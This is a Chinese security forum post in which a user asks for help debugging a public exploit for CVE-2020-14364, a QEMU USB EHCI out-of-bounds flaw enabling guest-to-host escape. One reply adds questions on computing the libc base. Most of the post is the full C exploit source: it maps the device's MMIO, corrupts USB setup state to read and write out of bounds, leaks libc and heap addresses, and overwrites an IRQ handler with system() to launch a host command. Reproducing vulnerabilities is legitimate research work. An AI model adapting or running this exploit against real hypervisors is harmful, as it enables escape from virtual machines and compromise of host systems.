首页
社区
课程
招聘
[未解决,已结帖] [求助]请大佬帮忙看看CVE-2020-14364 qemu逃逸漏洞复现EXP跑不通的问题 200.00雪花
发表于: 2023-4-3 19:18 6027

[未解决,已结帖] [求助]请大佬帮忙看看CVE-2020-14364 qemu逃逸漏洞复现EXP跑不通的问题 200.00雪花

2023-4-3 19:18
6027

各位好,最近在调试复现CVE-2020-14364 qemu逃逸漏洞,找到的exp在我本地搭建的环境中跑不通,请帮忙看看要怎么调试修改,在此谢过~

环境搭建参考:https://xz.aliyun.com/t/8320
调试及exp参考:https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/

镜像制作方式:

1
2
qemu-img create -f qcow2 ubuntu-server.qcow2 5G     //创建qcow2硬盘文件
sudo kvm -m 1028 -cdrom /mnt/hgfs/vm_share/ubuntu-18.04-live-server-amd64.iso -drive file=ubuntu-server.qcow2,if=virtio -net nic,model=virtio -net user -boot d -vnc :0    //制作linux qcow2镜像,后续使用vnc-view连接 127.0.0.1:0 进行系统安装

qemu版本及编译方式:

1
configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice    //编译

图片描述

环境信息:

宿主机:VMware Ubuntu 20.04虚拟机
图片描述
kvm虚拟机:Ubuntu 18.04 server
图片描述

启动脚本及进程:

1
2
3
4
5
6
7
8
9
/home/xxx/kvm_qemu/cve_2020_14364/qemu-4.2.1/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
 -m 1G \
-drive file=/home/xxx/kvm_qemu/cve_2020_14364/virtual_machine/ubuntu-server.qcow2,if=virtio \
-net nic,model=virtio \
-net user,hostfwd=tcp::5555-:22 \
-usb \
-device usb-ehci,id=ehci \
-device usb-tablet,bus=ehci.0 \
-boot d

图片描述

现象:

1.虚拟地址转换物理地址成功
图片描述
2.可正常启动kvm虚拟机并执行exp,但是exp执行未逃逸成功,出现error信息
图片描述

问题:

  1. 按照 https://xz.aliyun.com/t/6562#toc-0 进行虚拟地址和物理地址转换成功后,需要将得到的物理地址替换在exp中的什么位置?
  2. exp中的哪些变量值需要根据实际环境调试后替换?
  3. exp中check()函数作用,0x20和0x100400080000的含义,是否需要根据实际环境调试结果替换,如何调试获取需要的值?
    图片描述
  4. libc_base地址怎么算的,如何调试计算?
    图片描述
  5. 可以的话能请大神帮忙远程调一下是最好不过的

    附录(EXP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
unsigned char *mmio_mem;
char *dmabuf;
struct ohci_hcca *hcca;
struct EHCIqtd *qtd;
struct ohci_ed *ed;
struct ohci_td *td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh *qh;
struct ohci_td *td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
long long data_buf;
long long irq;
long long text;
unsigned int *ptr;
struct USBEndpoint
{
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};
 
struct USBDevice
{
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;
 
    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};
 
typedef struct EHCIqh
{
    uint32_t next; /* Standard next link pointer */
 
    /* endpoint characteristics */
    uint32_t epchar;
 
    /* endpoint capabilities */
    uint32_t epcap;
 
    uint32_t current_qtd; /* Standard next link pointer */
    uint32_t next_qtd;    /* Standard next link pointer */
    uint32_t altnext_qtd;
 
    uint32_t token;     /* Same as QTD token */
    uint32_t bufptr[5]; /* Standard buffer pointer */
 
} EHCIqh;
typedef struct EHCIqtd
{
    uint32_t next;    /* Standard next link pointer */
    uint32_t altnext; /* Standard next link pointer */
    uint32_t token;
 
    uint32_t bufptr[5]; /* Standard buffer pointer */
 
} EHCIqtd;
void die(const char *msg)
{
    perror(msg);
    exit(-1);
}
uint64_t virt2phys(void *p)
{
    uint64_t virt = (uint64_t)p;
 
    // Assert page alignment
 
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);
 
    uint64_t phys;
    if (read(fd, &phys, 8) != 8)
        die("read");
    // Assert page present
 
    phys = (phys & ((1ULL << 54) - 1)) * 0x1000 + (virt & 0xfff);
    return phys;
}
 
 
 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t *)(mmio_mem + addr)) = value;
}
 
uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t *)(mmio_mem + addr));
}
void init()
{
 
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
 
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
 
    dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    mlock(dmabuf, 0x3000);
    dmabuf32 = dmabuf + 4;
    qtd = dmabuf + 0x200;
    qh = dmabuf + 0x100;
    setup_buf = dmabuf + 0x300;
    ptr = dmabuf;
}
void init_state()
{
    mmio_write(0x64, 0x100);
    mmio_write(0x64, 0x4);
    qh->epchar = 0x00;
    qh->token = 1 << 7;
    qh->current_qtd = virt2phys(dmabuf + 0x200);
    qtd = dmabuf + 0x200;
    qtd->token = 1 << 7 | 2 << 8 | 8 << 16;
    qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
    setup_buf[6] = 0xff;
    setup_buf[7] = 0x0;
    dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
    mmio_write(0x28, 0x0);
    mmio_write(0x30, 0x0);
    mmio_write(0x2c,0);
    mmio_write(0x34, virt2phys(dmabuf));
    mmio_write(0x20, 0x11);
}
void set_length(uint16_t len, uint8_t in)
{
    mmio_write(0x64, 0x100);
    mmio_write(0x64, 0x4);
    setup_buf[0] = in;
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8) & 0xff;
    qh->epchar = 0x00;
    qh->token = 1 << 7;
    qh->current_qtd = virt2phys(dmabuf + 0x200);
 
    qtd->token = 1 << 7 | 2 << 8 | 8 << 16// 2 <<8 go to do_token_setup
    qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
    dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
    mmio_write(0x28, 0x0);
    mmio_write(0x30, 0x0);
    mmio_write(0x2c,0);
    mmio_write(0x34, virt2phys(dmabuf));
    mmio_write(0x20, 0x11);
}
void set_length3(uint16_t len, uint8_t in)
{
    memset(dmabuf + 0x400, 0x61, 0x1000);
    mmio_write(0x64, 0x100);
    mmio_write(0x64, 0x4);
    setup_buf[0] = in;
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8) & 0xff;
    qh->epchar = 0x00;
    qh->token = 1 << 7;
    qh->current_qtd = virt2phys(dmabuf + 0x200);
 
    *(int *)&dmabuf[0x1304] = 0x2;
    *(int *)&dmabuf[0x1308] = 0x5000;
    *(int *)&dmabuf[0x130c] = 0xffffefe8//set s->setup_index -8
    qtd->token = 1 << 7 | 0 << 8 | 0x1010 << 16//write len is 0x1000, 0 << 8 got to write
    qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
    qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
    dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
    mmio_write(0x28, 0x0);
    mmio_write(0x30, 0x0);
    mmio_write(0x2c,0);
    mmio_write(0x34, virt2phys(dmabuf));
    mmio_write(0x20, 0x11);
}
void set_length4(uint16_t len, uint8_t in)
{
    mmio_write(0x64, 0x100);
    mmio_write(0x64, 0x4);
    setup_buf[0] = in;
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8) & 0xff;
    qh->epchar = 0x00;
    qh->token = 1 << 7;
    qh->current_qtd = virt2phys(dmabuf + 0x200);
    *(int *)&dmabuf[0x1308] = 0x2;
    //*(int *)&dmabuf[0x130c] = 0x14f4-0x1018;
 
    *(ptr + 1221) = 0x16fc    -0x1018;
    *(ptr + 1221 - 2) = 2;
    qtd->token = 1 << 7 | 0 << 8 | 0x1018 << 16;
    qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
    qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
    dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
    mmio_write(0x28, 0x0);
    mmio_write(0x30, 0x0);
    mmio_write(0x2c,0);
    mmio_write(0x34, virt2phys(dmabuf));
    mmio_write(0x20, 0x11);
}
void do_copy_read(uint16_t len, uint8_t in)
{
    mmio_write(0x64, 0x100);
    mmio_write(0x64, 0x4);
    qh->epchar = 0x00;
    qh->token = 1 << 7;
    qh->current_qtd = virt2phys(dmabuf + 0x200);
    qtd->token = 1 << 7 | 1 << 8 | 0x1100 << 16;
    qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
    qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
    dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
    mmio_write(0x28, 0x0);
    mmio_write(0x30, 0x0);
    mmio_write(0x2c,0);
    mmio_write(0x34, virt2phys(dmabuf));
    mmio_write(0x20, 0x11);
}
void set_length6(uint16_t len, uint8_t in)
{
    memset(dmabuf + 0x400, 0x61, 0x1000);
    mmio_write(0x64, 0x100);
    mmio_write(0x64, 0x4);
    setup_buf[0] = in;
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8) & 0xff;
    qh->epchar = 0x00;
    qh->token = 1 << 7;
    qh->current_qtd = virt2phys(dmabuf + 0x200);
 
    *(int *)&dmabuf[0x1304] = 0x2;
    *(int *)&dmabuf[0x1308] = 0x5000;
    *(int *)&dmabuf[0x130c] = 0xffffe524//set s->setup_index -0xacc (point to irq->handler)
    qtd->token = 1 << 7 | 0 << 8 | 0x1010 << 16//write len is 0x1000, 0 << 8 got to write
    qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
    qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
    dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
    mmio_write(0x28, 0x0);
    mmio_write(0x30, 0x0);
    mmio_write(0x2c,0);
    mmio_write(0x34, virt2phys(dmabuf));
    mmio_write(0x20, 0x11);
}
void final_write(uint16_t len, uint8_t in,long long system,long long irq_handler)
{
    mmio_write(0x64, 0x100);
    mmio_write(0x64, 0x4);
    setup_buf[0] = in;
    setup_buf[6] = len & 0xff;
    setup_buf[7] = (len >> 8) & 0xff;
    qh->epchar = 0x00;
    qh->token = 1 << 7;
    qh->current_qtd = virt2phys(dmabuf + 0x200);
    *(int *)&dmabuf[0x1308] = 0x2;
 
    unsigned long long *ptr2;
    ptr2 = &dmabuf[0x300];
    *(ptr2) = system;//system plt
    *(ptr2 + 1) = irq_handler + 0x10;
    *(ptr2 + 2) = 0x636c616378; //xcalc
 
    *(ptr + 1221) = 0x16fc - 0x1018;
    *(ptr + 1221 - 2) = 2;
    qtd->token = 1 << 7 | 0 << 8 | 0x18 << 16;
    qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
    qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
    dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
    mmio_write(0x28, 0x0);
    mmio_write(0x30, 0x0);
    mmio_write(0x2c,0);
    mmio_write(0x34, virt2phys(dmabuf));
    mmio_write(0x20, 0x11);
}
 
void check()
{
    while (mmio_read(0x20) != 0x100400080000)
    {
        printf("error:%p ", mmio_read(0x20));
        usleep(100000);
    }
}
 
int main()
{
    setbuf(stdout, 0);
 
    init();
    puts("Start!");
    //---------------------- First Step : leak data_buf addr
    //send a normal packet,set s->setup_state to SETUP_DATA_STATE(2)
    puts("set s->setup_state:SETUP_DATA_STATE");
    init_state();
    //getchar();
    check();
    //send a deformity,set s->setup_len to 0x5000
 
    puts("set s->setup_len:0x5000");
    set_length(0x5000, 0);
    //getchar();
    usleep(500000);
 
    //write out of bounds
    puts("write out of bounds,set setup_index -8");
    set_length3(0x5000, 0x80);
    //getchar();
    check();
    //write out of bounds,set s->setup_buf for leak address
    puts("write out of bounds,set s->setup_buf and s->setup_index");
    set_length4(0x5000, 0x80);
    //getchar();
    check();
    //now leak address
    //read text address
    puts("read text address");
    do_copy_read(0x5000,0x80);
    //getchar();
    check();
 
    long long *ptrr = dmabuf + 0x300;
    long long libc_base = *ptrr - 0x51a92b;
    long long *heap = dmabuf + 0x308;
    long long system = libc_base + 0x2038d0;
    long long irq_handler = *heap - 0x2e88;
    long long irq_opaque = *heap - 0x2e80;
    printf("libc_base: %p\n",libc_base);
    printf("system: %p\n",system);
    printf("irq_handler: %p\n",irq_handler);
    printf("irq_opaque: %p\n",irq_opaque);
    //irq->handler: 0x5555592bb138
    //irq->opaque: 0x5555592bb140
 
    //restart
    init_state();
    check();
    set_length(0x5000, 0);
    usleep(500000);
 
    //write irq->handler
    puts("change s->setup_index point to irq->handler");
    set_length6(0x5000,0x80);
    //getchar();
    check();
 
    puts("change irq->handler");
    final_write(0x5000,0x80,system,irq_handler);
    //getchar();
    check();
    puts("pwn it?");
 
    return 0;
}

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 426
活跃值: (157)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2

问题:

5. *ptrr的含义

6. libc_base的计算是否为:真实加载地址-libc函数偏移

7. 打印出ptrr的值,如何根据vmmap计算libc_base

最后于 2023-4-4 20:15 被mb_xgkauusl编辑 ,原因:
2023-4-4 20:14
0
游客
登录 | 注册 方可回帖
返回
//